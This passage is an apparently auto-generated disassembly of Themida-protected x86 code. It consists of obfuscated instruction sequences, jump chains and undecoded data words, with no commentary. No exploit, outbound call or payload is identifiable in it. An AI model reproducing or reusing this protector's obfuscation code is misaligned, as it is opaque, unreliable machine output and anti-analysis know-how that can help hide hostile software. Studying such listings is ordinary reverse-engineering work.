loc_566FF5 ; --------------------------------------------------------------------------- loc_5628BA: ; CODE XREF: Themida_:0055F1BDj push eax mov al, 0B1h sub al, 0C5h xor al, 0ECh jmp loc_5584A8 ; --------------------------------------------------------------------------- dw 2BEh dd 0E96A4859h, 0FFFF46D0h, 1A53BA66h, 0F7665266h, 8B66241Ch dd 0C4812414h, 2, 0EC814A66h, 4, 50240C89h, 0FF98ACE9h dd 0BA6652FFh, 0C1660CC2h, 0F76605E2h, 664266D2h, 0E916B968h dd 0FFFFA534h, 24048F5Ch, 6624248Bh, 6824048Bh, 7236h dd 68241C89h, 54BBh, 460BE9h, 4C48100h, 0C1000000h, 0C33107E3h dd 0C331D831h, 0B9A0E997h, 0E95FFFFFh, 0FFFFE9E7h, 545EE953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56294A: ; CODE XREF: Themida_:005581ADj mov ebx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push dword ptr [esp] mov ecx, [esp] push ecx mov ecx, esp jmp loc_55E627 ; --------------------------------------------------------------------------- loc_56296B: ; CODE XREF: Themida_:005624C3j push ebx push esp pop ebx push esi jmp loc_566396 ; --------------------------------------------------------------------------- dd 875AD329h, 3DE9241Ch, 89000038h, 0A7E9240Ch db 40h, 2 dup(0) ; --------------------------------------------------------------------------- loc_562987: ; CODE XREF: Themida_:005622B1j mov edx, 6675406Fh shr edx, 7 add edx, 0C0CC53BBh add esi, edx pop edx jmp loc_56128B ; --------------------------------------------------------------------------- db 5Eh, 1, 0FAh dd 40A7EA81h, 0E9561997h, 0FFFFE322h, 0CEF1E95Dh db 2 dup(0FFh) word_5629B2 dw 8952h ; DATA XREF: Themida_:00552ADCo dd 4C281E2h, 51000000h, 13968h, 0B25BE900h, 4A68FFFFh dd 89000009h, 0ACBF243Ch, 0E916C74Ah, 0FFFF3B14h, 8B240433h dd 0C4832424h, 68C33104h, 6229h, 0E9240489h, 0FFFF02D3h ; --------------------------------------------------------------------------- loc_5629F0: ; CODE XREF: Themida_:00553AD9j and ebx, edx jmp loc_553C8E ; --------------------------------------------------------------------------- db 0BFh dd 2F230EEBh, 37D8F781h, 0EF817733h, 69C7776Ch, 0A10AC781h dd 0F9297477h, 53243C8Bh, 0FF3458E9h, 4BD55FFh, 81000000h dd 0AA7DD8EAh, 81EA013Ah, 0AA7DD8C2h, 0EC815D3Ah, 4, 0FF67CBE9h db 0FFh ; --------------------------------------------------------------------------- loc_562A39: ; CODE XREF: Themida_:00553924j pop esp add ebp, 4 push ebp push dword ptr [esp+4] jmp loc_5579E1 ; --------------------------------------------------------------------------- dw 815Ah dd 587D08C1h, 68E90123h, 1BBEh, 0BE243489h, 23587D08h dd 0FF1AB9E9h, 5C801FFh, 69374932h, 0FFFA44E9h db 0FFh ; --------------------------------------------------------------------------- loc_562A71: ; CODE XREF: Themida_:0055A19Dj mov [esp], ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_5631F9 ; --------------------------------------------------------------------------- db 68h dd 67F8h, 0E9243C89h, 3563h, 0D00071B2h, 142C5Ah, 7514E9F8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562AA2: ; CODE XREF: Themida_:00560A23j push eax mov eax, esp push ecx jmp loc_561AC0 ; --------------------------------------------------------------------------- db 81h dd 6F4395EDh, 81F52951h, 6F4395C5h, 9AC58151h, 3156A96Dh dd 2635E9EEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562AC6: ; CODE XREF: Themida_:005531C0j mov edx, 7035619h not edx not edx or edx, 5B850718h sub edx, 79660F18h add edx, 0DB6EA762h xor ecx, edx jmp loc_557BA0 ; --------------------------------------------------------------------------- loc_562AE8: ; CODE XREF: Themida_:00564A4Dj push eax mov al, 0EAh mov dh, 0EAh xor dh, al pop eax sub esp, 2 mov [esp], bx mov bl, 11h sub dh, bl mov bx, [esp] jmp loc_557794 ; --------------------------------------------------------------------------- db 50h dd 0DE5335B8h, 75380502h, 0CD35289Ah, 566F2C6Ah, 37211FBEh dd 0EEC14E28h, 81D6F708h, 6777A5F6h, 0F2E68174h, 8179F828h dd 0CBE895C6h, 96E94E1Eh db 7Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562B3B: ; CODE XREF: Themida_:0055AC00j add esp, 4 sub ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_55E23C ; --------------------------------------------------------------------------- db 89h, 0E6h, 53h dd 0FF3E53E9h db 0FFh ; --------------------------------------------------------------------------- loc_562B5D: ; CODE XREF: Themida_:0055B70Cj mov dh, cl mov al, dh pop edx mov ecx, [esp] add esp, 4 push ecx mov ch, al mov [edx], ch push dword ptr [esp] pop ecx push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp pop eax pop edx pop ebx jmp loc_552CC3 ; --------------------------------------------------------------------------- db 0BFh dd 77247D4Dh, 247D49BBh, 5FFB3177h, 1B39B850h, 0C6296D7Ah dd 8324048Bh, 0DE0104C4h, 1B39C681h, 34FF6D7Ah, 241C8B24h dd 4C481h, 0C4830000h, 335F6804h, 3C890000h, 3FBAE924h dd 4C050000h, 53755111h, 0FF2A09E9h, 38C168FFh, 24890000h dd 24048324h, 0C1815904h, 4, 8904EC83h, 0BF572404h, 19F2B8Bh dd 5AE9F889h, 66FFFF64h, 0CE816646h, 0C5E925D5h, 5E000046h dd 0A01E9h db 0 ; --------------------------------------------------------------------------- loc_562C11: ; CODE XREF: Themida_:00558283j mov [esp], edi mov edi, 67A86FC7h shl edi, 2 add edi, 0BADA6542h xor ebx, edi pop edi jmp loc_566FAA ; --------------------------------------------------------------------------- dw 0C8Bh dd 4C48124h, 52000000h, 0FF73AFE9h, 0E38953FFh, 8904EC83h dd 0C7BA2414h, 0E92C3243h, 0FFFFE009h, 0E95BDE89h, 0CC5h dd 8104C483h, 4ECh, 24348900h, 0FFA799E9h, 241489FFh, 0FF28C7E9h dd 8AC681FFh, 81767558h, 0FF337CEEh, 4CEE813Bh, 810BD004h dd 9F596CF6h, 5EF3014Bh, 0EB81C301h, 7B500739h, 582434FFh dd 104C483h, 8953E9DAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562C9E: ; CODE XREF: Themida_:0055713Bj mov edx, [esp] add esp, 4 mov eax, [esp] add esp, 4 mov ecx, [esp] add esp, 4 push edx jmp loc_556989 ; --------------------------------------------------------------------------- db 1 dd 5A1A05D8h, 335B0E6Ch, 4312404h, 0E6C4E924h, 0E381FFFFh dd 4F5659C5h, 8103E3C1h, 5F6F45EBh, 0C1D3F732h, 0EB8102EBh dd 0CA27FD34h, 89DF8957h, 0B2E95FF8h, 0BBFFFF1Fh, 6CAE7868h dd 0E95BDD29h, 47EAh, 0B2DBB151h, 59CA30E0h, 0C280CAFEh dd 80CAFE12h, 4CE904F2h, 89FFFF79h, 4BE56E7h, 1000000h dd 24348BF7h, 6804C483h, 17CEh, 0B9240C89h, 4, 464DEF81h dd 6DE928E4h, 0BDFFFFDEh, 70481E7Fh, 0E95DEB29h, 3030h dd 4C4815Bh, 83000000h, 0C8904ECh, 1753E924h, 0E9510000h dd 0FFFFE40Bh ; --------------------------------------------------------------------------- loc_562D68: ; CODE XREF: Themida_:0055B5B8j push ecx jmp loc_561C98 ; --------------------------------------------------------------------------- dw 4481h dd 2FFC0824h, 6C013492h, 6C810824h, 2FFC0824h, 2C8B3492h dd 4C48124h, 8B000000h, 0C483241Ch, 24148B04h, 4C481h dd 24E90000h, 68FFFEFFh, 4798h, 68243C89h, 50F23A73h, 9C7815Fh dd 0E975D821h, 0FFFF6018h, 8089EC80h, 0EC80C5CCh, 58E230EEh dd 0F628C280h, 1FB353DAh, 515BDA30h, 75E9FBB1h, 0E9FFFF8Ch dd 0FFFEFEE7h dword_562DDC dd 4EC81h, 0EC810000h, 4, 12B1E9h, 0FED1E900h ; DATA XREF: Themida_:00552B8Co db 0FEh, 0FFh word_562DF2 dw 34FFh ; DATA XREF: Themida_:00552C30o dd 2434FF24h, 582434FFh db 83h, 0C4h, 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push edx jmp loc_55E43B ; --------------------------------------------------------------------------- aZsjg db 'ZИjG',0 align 4 loc_562E14: ; CODE XREF: Themida_:005664E2j pop dword ptr [esp] mov esp, [esp] pop esi push edi push 5A39h jmp loc_56208D ; --------------------------------------------------------------------------- loc_562E26: ; CODE XREF: Themida_:0056364Fj pop esp sub esp, 4 jmp loc_560783 ; --------------------------------------------------------------------------- dw 0D801h dd 6855525Bh, 71A47336h, 0FF8682E9h, 19EB81FFh, 81113012h dd 2B1A0DE3h, 0A4E3812Fh, 812BD357h, 5C3AD8C3h, 5BDF215Ch dd 0CD74C781h, 1DE9DBB7h, 83FFFFB3h, 0C8904ECh, 2474FF24h dd 48F5904h, 0C2685C24h, 89000045h, 0E9562414h, 0E52h dd 615BE56h, 0FCE93BFBh db 0CFh, 2 dup(0FFh) byte_562E8F db 66h ; DATA XREF: Themida_:00552A58o dd 6824048Bh, 2D40h, 54243489h, 8124348Bh, 4C4h, 0C510E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562EAA: ; CODE XREF: Themida_:0055FBE6j add ecx, edi pop edi push 4F90h mov [esp], edi mov edi, 4 push 3362h mov [esp], esi mov esi, 7F130874h neg esi jmp loc_553783 ; --------------------------------------------------------------------------- dw 48Bh aSo db '$И▌',0Bh,0 align 2 dw 34FFh dd 0EC815D24h, 4, 89240C89h, 4C181E1h, 81000000h, 4C1h dd 0E5E95100h db 0EAh, 2 dup(0FFh) byte_562EF7 db 66h ; DATA XREF: Themida_:00552BA4o dd 5524048Bh, 0FAAAE954h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562F02: ; CODE XREF: Themida_:00564094j xchg eax, [esp] pop esp push dword ptr [esp] jmp loc_562772 ; --------------------------------------------------------------------------- loc_562F0E: ; CODE XREF: Themida_:0055CA2Fj mov edi, esi jmp loc_55DF7E ; --------------------------------------------------------------------------- db 89h, 0DEh, 5Bh dd 4244481h, 21B237E6h, 4244481h, 3741492Eh, 4247401h dd 492EB951h, 4C293741h, 81590824h, 0E604246Ch, 0FF21B237h dd 835E2434h, 8F04C4h, 4EC81h, 1C890000h, 0A5BD5524h, 810F1A6Ah dd 8D4234C5h, 65C5813Eh, 810B4371h, 59F0F0EDh, 45016839h dd 0C890000h, 737EE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562F76: ; CODE XREF: Themida_:005575BCj mov ecx, 2A5913D0h sub ecx, 0C539D72h add esi, ecx pop ecx mov ecx, [esp] add esp, 4 push esi mov ecx, [esp] jmp loc_55D1C4 ; --------------------------------------------------------------------------- db 53h dd 0FF10F4E9h db 0FFh ; --------------------------------------------------------------------------- loc_562F99: ; CODE XREF: Themida_:00552FDDj mov bh, dl mov ch, bh pop ebx pop edx pop ebx jmp loc_55401A ; --------------------------------------------------------------------------- loc_562FA5: ; CODE XREF: Themida_:005587C3j add ecx, 63CB1861h add ecx, eax sub ecx, 63CB1861h sub esp, 4 mov [esp], edi push ebx mov ebx, 21857200h mov edi, 7EC2C540h jmp loc_55AE54 ; --------------------------------------------------------------------------- loc_562FCC: ; CODE XREF: Themida_:00565807j mov esp, [esp] mov [esp], edx push ecx push esp pop ecx push eax mov eax, 6F40DAFh push 4D98h mov [esp], edx mov edx, 43514748h not edx neg edx shl edx, 6 jmp loc_55B63F ; --------------------------------------------------------------------------- dd 20DBC681h, 0F28767BAh, 8124348Bh, 4C4h, 6EAC100h, 0FFE474E9h db 0FFh ; --------------------------------------------------------------------------- loc_56300D: ; CODE XREF: Themida_:005633F8j mov [esp], eax jmp loc_5613F8 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 0FFE979E9h, 4C381FFh, 87000000h, 835C241Ch, 2C8704C5h dd 0F6E95C24h, 2900003Eh, 2C875AD5h, 24248B24h, 54241C89h dd 4C3815Bh, 51000000h, 4B9h, 0C38100h, 176F174h, 0EB81CBh dd 5976F174h, 8B241C87h, 0B60F2424h, 2F7168C8h, 0C890000h dd 0FC51E924h, 2BBFFFFEh, 83653179h, 2C8904ECh, 2EBCBD24h dd 0EF096409h, 8E7C15Dh, 6222E952h, 0F381FFFFh, 50FB2CBCh dd 0BE56E3D1h, 571C3569h, 3D35CE81h, 0A6E96C5Fh, 8BFFFF18h dd 0C483242Ch, 4EC8104h, 89000000h, 0E9B82404h, 8159F01Dh dd 0E66F6BEFh, 3FEF815Bh, 141ED55h, 3FC781C7h, 8141ED55h dd 0E66F6BC7h, 3390E95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5630DA: ; CODE XREF: Themida_:0055F712j push ebx push 62D77890h mov ebx, [esp] add esp, 4 push edi jmp loc_56265E ; --------------------------------------------------------------------------- loc_5630EF: ; CODE XREF: Themida_:0055C6ECj xor [esp], edi xor edi, [esp] mov esp, [esp] push ecx mov ecx, 5E671551h jmp loc_5616A7 ; --------------------------------------------------------------------------- loc_563103: ; CODE XREF: Themida_:0055570Ej mov eax, [esp] add esp, 4 push 0B51h mov [esp], ecx push 0CE6h jmp loc_56516B ; --------------------------------------------------------------------------- db 89h dd 4C781E7h, 81000000h, 4C7h, 243C8700h, 0FF966DE9h, 240489FFh dd 4D715768h, 2434FF4Eh, 41B7E9h, 5FFB0100h, 0FFC3DFE9h dd 0FFBE56FFh, 0E9FFFFFFh, 0FFFFEDBEh ; --------------------------------------------------------------------------- loc_563154: ; CODE XREF: Themida_:0055A814j sub ebx, 4 xchg ebx, [esp] jmp loc_556FE4 ; --------------------------------------------------------------------------- dw 0EF81h dd 3FB5A273h, 0EDE9FA01h, 8700000Fh, 895C241Ch, 32682434h dd 5E2BAD1Eh, 37D0BA52h, 0DAF742C8h, 0FFD619E9h, 5FFD29FFh dd 5C242C87h, 0FF826FE9h, 2434FFFFh, 4C4815Fh, 0E9000000h dd 0FFFF826Fh, 0E9F7EA80h, 0FFFFBDFEh dword_5631AC dd 24048B66h, 253968h, 243C8900h, 7A3A68h, 48F5400h, 111DE924h ; DATA XREF: Themida_:00552C54o dd 0C870000h, 0F42E924h, 2C8BFFFFh, 4C48124h, 8B000000h dd 0C4832434h, 0FFD02904h, 535A2434h, 0FFE5C7E9h db 0FFh ; --------------------------------------------------------------------------- loc_5631E9: ; CODE XREF: Themida_:00566ED1j add ebx, edx mov edx, [esp] add esp, 4 jmp loc_55F9C9 ; --------------------------------------------------------------------------- loc_5631F9: ; CODE XREF: Themida_:00562A82j push ebx jmp loc_553934 ; --------------------------------------------------------------------------- loc_5631FF: ; CODE XREF: Themida_:005571BFj add edx, 91C73E83h sub eax, edx pop edx mov ebx, [esp] add esp, 4 push edx sub esp, 4 mov [esp], eax jmp loc_55A827 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 0CFC380h, 4EC83C3h, 0E9241489h, 0FFFF84E8h ; --------------------------------------------------------------------------- loc_563230: ; CODE XREF: Themida_:0055F749j push ecx mov ecx, ebx mov esi, ecx pop ecx mov ebx, [esp] push eax jmp loc_558ADA ; --------------------------------------------------------------------------- db 66h dd 5659CB29h, 46F8BE66h, 6CEE8166h, 0EEC16669h, 0F6816603h dd 8166118Ah, 665A2FC6h, 0F681664Eh, 0F76603DFh, 0C68366D6h dd 66506601h, 66E9CCB8h, 5866C631h, 0BAEB8166h, 0F301666Ch dd 0BAC38166h, 24348B6Ch, 0FFE13EE9h, 49E959FFh, 66FFFF36h dd 2404B30Fh, 0FA29E99Ch, 0A32DFFFEh, 0E95F3B60h, 0FFFFE783h dword_5632A4 dd 24048B66h, 142468h, 24048900h, 0FFC525E9h, 81E789FFh ; DATA XREF: Themida_:00552ABCo dd 4C7h, 0B9515300h, 37828FBh, 3E1C141h, 0EA14E949h db 2 dup(0FFh) aNFZh@ db '╜-Д!<zh╦@',0 ; DATA XREF: Themida_:00552A4Co dd 7FC1E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5632DE: ; CODE XREF: Themida_:0055EA21j push 4CF5h jmp loc_5535A9 ; --------------------------------------------------------------------------- dd 5704EF83h, 42474FFh, 50243C8Bh, 405E089h, 83000000h dd 48704C0h, 48F5C24h, 0CECFE924h, 1487FFFFh, 4875C24h dd 24248B24h, 0BD242C89h, 0FEh, 2C8BEB89h, 12F7E924h, 5D5AFFFFh dd 0FF5AB8E9h, 2434FFFFh, 9507E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563336: ; CODE XREF: Themida_:00553C89j mov ecx, 450361B7h xor ecx, 450361B5h mov ebp, ecx jmp loc_561C8C ; --------------------------------------------------------------------------- dd 3EB5E981h, 2C8B3836h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_560BBD ; --------------------------------------------------------------------------- db 0BEh dd 3534D3F2h, 895EF701h, 68565FFEh, 7F92116Fh, 87E9525Eh dd 81FFFEFDh, 643F19EBh, 24C38121h, 0E9188340h, 0FFFF2126h ; --------------------------------------------------------------------------- loc_563388: ; CODE XREF: Themida_:00557F1Fj not edx and edx, 29E204D1h shr edx, 5 and edx, 755F23B3h sub edx, 0D65FD4C7h mov edi, edx pop edx neg edi jmp loc_563EDA ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 0FF11BCE9h, 54EB80FFh, 0C380F300h, 0EB805A54h, 34B8E9A9h dd 0C481FFFFh, 4, 3794C381h, 7EE95188h, 68FFFFA1h, 4E07h dd 0FF243C89h, 8B042474h, 0F2E9243Ch, 83000003h, 685504C4h dd 488Eh, 0FF6252E9h db 0FFh ; --------------------------------------------------------------------------- loc_5633F5: ; CODE XREF: Themida_:0055817Fj sub esp, 4 jmp loc_56300D ; --------------------------------------------------------------------------- db 5Ah, 87h, 0D3h dd 0C98F381h, 1889F967h, 24048B5Bh, 4C481h, 0D2310000h dd 5EAF68h, 241C8900h, 980E957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_563422: ; CODE XREF: Themida_:00557A47j push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] push 4A00h mov [esp], ebp mov ebp, esp push ecx jmp loc_55CD0C ; --------------------------------------------------------------------------- dw 0FF5Eh dd 0D264E932h, 3489FFFFh, 4EC8324h, 83242489h, 5E042404h dd 4B951h, 0CE010000h, 4C68359h, 0E9243487h, 27A5h, 9665866h dd 52665AD6h, 0DE98BA66h, 2505E9h db 0 ; --------------------------------------------------------------------------- loc_563479: ; CODE XREF: Themida_:0055E400j mov esi, 5B597A86h sub esi, 5B597A82h mov eax, esi mov esi, [esp] add esp, 4 jmp loc_560121 ; --------------------------------------------------------------------------- db 0B5h, 0D6h, 0FEh dd 0D0C5FECDh, 9DED80E5h, 34FFEB30h, 0F22EE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5634A6: ; CODE XREF: Themida_:005560F1j xor ebp, eax pop eax jmp loc_55322F ; --------------------------------------------------------------------------- dw 34FFh dd 89685824h, 0E9000001h, 0FFFF44A2h, 0C5375DBAh, 5DEA0157h dd 6440EB81h, 0D3015AB3h, 6440C381h, 148B5AB3h, 1E39E924h dd 0E958FFFFh, 24E6h, 0FCC7E951h, 5854FFFEh, 3003BF57h dd 0F781528Fh, 528F3007h, 961D7605h, 154B2D1Bh, 0F8010A9Dh dd 9D154B05h, 1D762D0Ah, 685F1B96h, 4E87h, 0E9243489h dd 0FFFF5B8Bh, 0E9240489h, 0FFFFD28Eh, 23D96851h, 81594485h dd 71568DC1h, 41E9D164h, 0B2E9E1D1h, 1FFFF76h, 0B3E959CDh dd 89FFFF1Ah, 3C872414h, 3C874724h, 2D2DE924h, 0EF810000h dd 71907BE2h, 0BD55EF01h, 71907BE2h, 5D5DEF01h, 8904EC83h dd 37E92414h, 81FFFF2Ch, 0F75616EAh, 8BD629DCh, 43E92414h db 33h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56357B: ; CODE XREF: Themida_:005620F6j add esp, 4 jmp loc_56746E ; --------------------------------------------------------------------------- db 89h dd 0DA892414h, 0FFC12CE9h db 0FFh ; --------------------------------------------------------------------------- loc_56358D: ; CODE XREF: Themida_:00557004j sub esp, 4 mov [esp], edi push 2E3h mov [esp], edx mov edx, 8EE51D9h mov edi, 47E1D84h xor edi, edx pop edx neg edi xchg eax, edi not eax xchg eax, edi neg edi jmp loc_561666 ; --------------------------------------------------------------------------- dd 54243489h, 4BD555Eh, 0E9000000h, 3C54h, 4A58C201h, 2414F752h dd 56DAF75Ah, 574805BEh, 8BF2316Eh, 7EE92434h db 43h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5635E3: ; CODE XREF: Themida_:0055C19Cj mov ecx, 1F59407Eh not ecx sub ecx, 78764752h shr ecx, 6 add ecx, 6A66DE73h sub edi, 35F51B12h sub edi, ecx jmp loc_5578F6 ; --------------------------------------------------------------------------- loc_563606: ; CODE XREF: Themida_:00566970j mov dl, al pop eax sub dl, 1 push ecx jmp loc_55F237 ; --------------------------------------------------------------------------- dw 3C87h dd 0C1E95C24h, 8BFFFF59h, 89662424h, 50662414h, 0F699E99Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56362A: ; CODE XREF: Themida_:00553A6Ej mov ecx, [esp] add esp, 4 and eax, esi jmp loc_554EBE ; --------------------------------------------------------------------------- db 81h dd 495976C2h, 24048B1Dh, 4C481h, 0E9560000h, 0FFFF511Ah ; --------------------------------------------------------------------------- loc_56364C: ; CODE XREF: Themida_:005654C6j xchg ebx, [esp] jmp loc_562E26 ; --------------------------------------------------------------------------- dd 7356BA52h, 0F2812C78h, 181C48ECh, 19BDE94Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_563666: ; CODE XREF: Themida_:00559CD2j xchg ebp, [esp] jmp loc_5621E6 ; --------------------------------------------------------------------------- loc_56366E: ; CODE XREF: Themida_:0056382Bj neg ebx dec ebx not ebx shr ebx, 5 push 5C50h mov [esp], ebp mov ebp, 37A478BCh push 5C63h mov [esp], ecx mov ecx, 3F95952h xor ebp, ecx pop ecx xor ebx, ebp pop ebp add ebx, 0CB6EE11Dh xor eax, ebx mov ebx, [esp] add esp, 4 jmp loc_552FBD ; --------------------------------------------------------------------------- db 0BDh, 0ECh, 1Ah dd 0D5F765F1h, 64A7C581h, 0F7553584h, 815D2414h, 0FD3083F5h dd 0B9E94D10h db 57h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5636C7: ; CODE XREF: Themida_:0056570Fj push dword ptr [esp] pop ecx push eax push 1850h jmp loc_56513F ; --------------------------------------------------------------------------- dw 8951h dd 4C181E1h, 0E9000000h, 0FFFF60CFh, 0F4E9E689h, 5CFFFF5Dh dd 81E28952h, 4C2h, 4EA8300h, 0E9241487h, 0FFFF4A1Ch, 7F36BBBBh dd 0E9EBD16Eh, 0FFFF23DBh ; --------------------------------------------------------------------------- loc_56370C: ; CODE XREF: Themida_:005550B4j add ecx, 0A01FE002h add esi, ecx pop ecx xchg esi, [esp] mov esp, [esp] jmp loc_553391 ; --------------------------------------------------------------------------- dd 0E7FFE95Bh db 2 dup(0FFh) word_563726 dw 30ACh ; DATA XREF: Themida_:00552C78o dd 209EE9D8h, 0EC81FFFFh, 4, 89240C89h, 66E956F1h db 66h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56373F: ; CODE XREF: Themida_:0056047Ej push esp pop dword ptr [esp] jmp loc_55C959 ; --------------------------------------------------------------------------- loc_563748: ; CODE XREF: Themida_:005571D5j ; Themida_:0055BB53j push 67ADh jmp loc_55D996 ; --------------------------------------------------------------------------- loc_563752: ; CODE XREF: Themida_:0056209Ej dec ecx add ecx, 0FFFFFFFFh jmp loc_55E405 ; --------------------------------------------------------------------------- db 47h dd 0F704EFC1h, 0C6FAE9D7h, 1C33FFFFh, 24248B24h, 4EC81h dd 2C890000h, 0E9E58924h, 0FFFFEAD9h, 5124048Bh, 0C181E189h dd 4, 8704C183h, 248B240Ch, 0BDE95524h, 0F7FFFF0Ah, 90C781DFh dd 0E9057D01h, 0FFFF251Ah ; --------------------------------------------------------------------------- loc_5637A4: ; CODE XREF: Themida_:0055A111j mov ebx, 4 sub edi, 2BD832E1h add edi, ebx add edi, 2BD832E1h pop ebx sub esp, 4 mov [esp], eax push ebx mov ebx, 0A4974F1h mov eax, 0F5B68B13h add eax, ebx pop ebx add edi, 14E10C23h add edi, eax jmp loc_55C6E2 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 0E924048Fh, 0FFFF029Dh, 4B8h, 8BC50100h, 54522404h dd 0FF74D7E9h, 2C583FFh, 31242C33h, 2C33242Ch, 0C7A8E924h dd 525EFFFFh, 0C2815A54h, 4, 3304C283h, 14312414h, 24143324h dd 0EBE9515Ch db 0FFh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_563823: ; CODE XREF: Themida_:00559F1Ej mov [esp], ebx mov ebx, 2C4B6CE8h jmp loc_56366E ; --------------------------------------------------------------------------- dd 0E95DEE01h, 892h, 4855F0BEh, 14C68173h, 2D8CB7AAh, 746503Bh dd 3B05F001h, 5E074650h, 4BF57h, 0F8010000h, 0FF55B3E9h db 0FFh ; --------------------------------------------------------------------------- loc_56385D: ; CODE XREF: Themida_:005596F2j mov edx, [esp] jmp loc_55B7C8 ; --------------------------------------------------------------------------- loc_563865: ; CODE XREF: Themida_:00559E72j sub ebp, 5550195Eh add edi, ebp jmp loc_55B596 ; --------------------------------------------------------------------------- dw 48Fh dd 24248B24h, 0FEF7CBE9h, 0A7C581FFh, 8B0BF80Eh, 0E956240Ch dd 0FFFFFE58h, 5C242C33h, 0FF3885E9h, 8B5450FFh, 89562404h dd 0CD6851E6h, 594C8E5Ah, 16B1E9h, 3A7E6800h, 4890000h dd 2474FF24h, 24048B04h, 81E78957h, 4C7h, 4C78100h, 87000000h dd 0E95C243Ch, 4082h, 8704C183h, 875C240Ch, 87D7F7FBh dd 2E3C1FBh, 63D2EB81h, 0D98991E2h, 1DC7815Bh, 12E0C34h dd 1DBD55CFh, 812E0C34h, 5E5A23C7h, 81EF2960h, 5E5A23EFh dd 34FF5D60h, 0D8DCE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56390E: ; CODE XREF: Themida_:0055C9A8j add esi, 4 xchg esi, [esp] jmp loc_564426 ; --------------------------------------------------------------------------- db 29h, 0F1h, 8Bh dd 0C4812434h, 4, 6EB0E181h, 0BD552339h, 530144FAh, 5103EDC1h dd 0CA5AEEB9h, 15E98135h, 0E9F4A858h, 0FFFF1B0Bh, 4BEh dd 5EF12900h, 31240C33h, 0C33240Ch, 24E95C24h, 83FFFF87h dd 0F2E9FFEAh db 38h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563963: ; CODE XREF: Themida_:005571A7j mov ecx, 5C1E3868h push 58CFh jmp loc_5672A1 ; --------------------------------------------------------------------------- loc_563972: ; CODE XREF: Themida_:00561BB9j sub eax, 769B5119h push dword ptr [esp] jmp loc_553AB1 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 0A994E900h db 2 dup(0FFh) word_56398A dw 1CF6h ; DATA XREF: Themida_:00552A6Co dd 30E99C24h db 0F3h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_563993: ; CODE XREF: Themida_:00555C5Bj xor esi, 29812534h push edi push ebx jmp loc_5620B5 ; --------------------------------------------------------------------------- dd 0FD8858BEh, 5EF32912h, 242C8153h, 0F025802h, 2C6815Eh dd 8B0F0258h, 0C483241Ch, 87EE8704h, 54CE9F5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5639C6: ; CODE XREF: Themida_:0055601Cj or eax, 27EC1EBAh shr eax, 4 neg eax jmp loc_561A5B ; --------------------------------------------------------------------------- loc_5639D5: ; CODE XREF: Themida_:00554049j inc ebx jmp loc_553E4F ; --------------------------------------------------------------------------- db 51h dd 730FFCB9h, 0CBD2E976h, 2C89FFFFh, 0A6BE5624h, 0E95E7F34h dd 3C77h, 72E9D831h, 59FFFF29h, 4C481h, 5E680000h, 8900007Dh dd 2BE2434h, 1000000h, 14875EF2h, 13A8E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_563A1A: ; CODE XREF: Themida_:00564C75j push esi push edx mov edx, esp add edx, 4 push ecx mov ecx, 651D648Ah xor ecx, 2B2023FBh jmp loc_565859 ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 0FF4FE7E9h db 0FFh ; --------------------------------------------------------------------------- loc_563A3D: ; CODE XREF: Themida_:005596D2j mov bh, ah mov dl, bh pop ebx mov cl, dl pop edx mov eax, [esp] add esp, 4 add dh, cl pop cx mov ch, dh pop edx xor ch, 0D0h push cx not byte ptr [esp+1] mov cx, [esp] jmp loc_55FE13 ; --------------------------------------------------------------------------- dd 5304C483h, 351E9ABBh, 22EFE928h, 0C481FFFFh, 4, 0FC3305Bh dd 8B66C0B6h, 65682414h, 0E9000079h, 0FFFFEB17h, 0B4505B66h dd 58E12048h, 68FFC180h, 39E1h, 51240489h, 0C9B4EDB5h dd 0FEA0B652h, 0F6DEF6CEh, 0B9F680D6h, 0C006E6C0h, 0E68003E6h dd 0F6CEFE37h, 242AE9D6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563AC2: ; CODE XREF: Themida_:00555403j mov edi, ebp pop ebp xor ebp, edi pop edi xor ebx, ebp push dword ptr [esp] jmp loc_56248A ; --------------------------------------------------------------------------- dw 0D7F7h dd 0FEF7ABE9h, 0F1E5E9FFh, 0E281FFFEh, 42DC2CB8h, 0F281D2F7h dd 0FD3FFB6Bh, 2CE9D101h db 2Eh, 2 dup(0FFh) byte_563AF3 db 0FFh ; DATA XREF: Themida_:00552A2Co dd 34FF2434h, 240C8B24h, 